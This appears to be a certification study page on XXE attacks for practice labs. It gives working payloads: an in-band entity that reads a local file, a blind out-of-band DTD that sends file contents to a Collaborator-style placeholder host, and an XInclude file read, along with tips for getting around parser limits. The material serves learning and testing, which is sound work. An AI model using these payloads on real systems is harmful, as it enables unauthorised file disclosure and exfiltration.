XML External Entity (XXE)¶
← Back to index · Stage 3 (read the secret) · Read the mindset page first.
Why it exists: XML lets a document define entities — named placeholders — and an "external" entity can point at a URL or a local file, which the parser dutifully fetches and inlines. If the app parses your XML with external entities enabled (the default in many old parsers), you declare an entity pointing at /home/carlos/secret and the parser reads it for you. On BSCP it's a Stage-3 route wherever a feature accepts XML.
The one rule: reflected → direct entity read; not reflected → blind via an external DTD to Collaborator; can't control the DOCTYPE → XInclude.
Decision tree¶
flowchart TD
A["Feature parses XML?"] --> B{"Can you add a DOCTYPE?"}
B -->|no| XI["XInclude attack"]
B -->|yes| C{"Is a parsed value reflected?"}
C -->|yes| IN["In-band: entity -> file in the response"]
C -->|no| D{"Any error output?"}
D -->|yes| ERR["Error-based exfil"]
D -->|no| OOB["Blind: external DTD -> Collaborator"]
IN --> OUT["Read /home/carlos/secret"]
ERR --> OUT
OOB --> OUT
XI --> OUT
Reading the response: in-band, read whether your entity expanded — the file contents appearing where your value was reflected = success; a literal
&xxe;or an entity error = inline external entities are disabled, so move to the out-of-band DTD. For blind/OOB the signal is the Collaborator hit carrying the file, not the HTTP body. An error that leaks the file is its own win (error-based).
1. Find XML input — including hidden XML¶
The obvious cases are SOAP, a stock-check, a file import. The non-obvious one worth trying: a JSON endpoint that also accepts XML if you change Content-Type: application/xml and send an XML body — many frameworks parse both. Office docs and SVG uploads are XML too.
2. In-band read — why it works¶
You define an external entity pointing at the file, then reference it where a value gets echoed back in the response — the parser substitutes the file's contents before rendering:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///home/carlos/secret"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
<!-- the reflected productId now contains the file -->
3. Blind / out-of-band — why an external DTD¶
Why: if nothing is reflected, you can't see the entity's value — so you make the parser send it to you. You host a malicious DTD on your exploit server; the target fetches it, and a parameter entity inside exfils the file to Collaborator:
<!-- malicious.dtd on your exploit server -->
<!ENTITY % file SYSTEM "file:///home/carlos/secret">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'https://ID.COLLAB/?x=%file;'>">
%eval; %exfil;
<!-- trigger request -->
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://EXPLOIT/malicious.dtd"> %xxe; ]>
...
<!-- the file arrives in Collaborator; use ftp:// or a PHP base64 filter if newlines break the URL -->
4. Can't add a DOCTYPE? XInclude — why¶
Why: if your input is only a value inside a server-built XML document, you can't declare a DOCTYPE — but XInclude pulls in a file without needing one:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///home/carlos/secret"/>
</foo>
Failure modes¶
- Entity not expanded → external entities are off for inline DTDs; switch to the out-of-band external-DTD method.
- File has newlines/special chars → they break the exfil URL; use
ftp://or a PHP base64 filter wrapper. - No DOCTYPE allowed → XInclude.
- JSON-only endpoint → change
Content-Typetoapplication/xmland send XML anyway. - Blind but errors show → use the error-based DTD to leak the file inside an error message.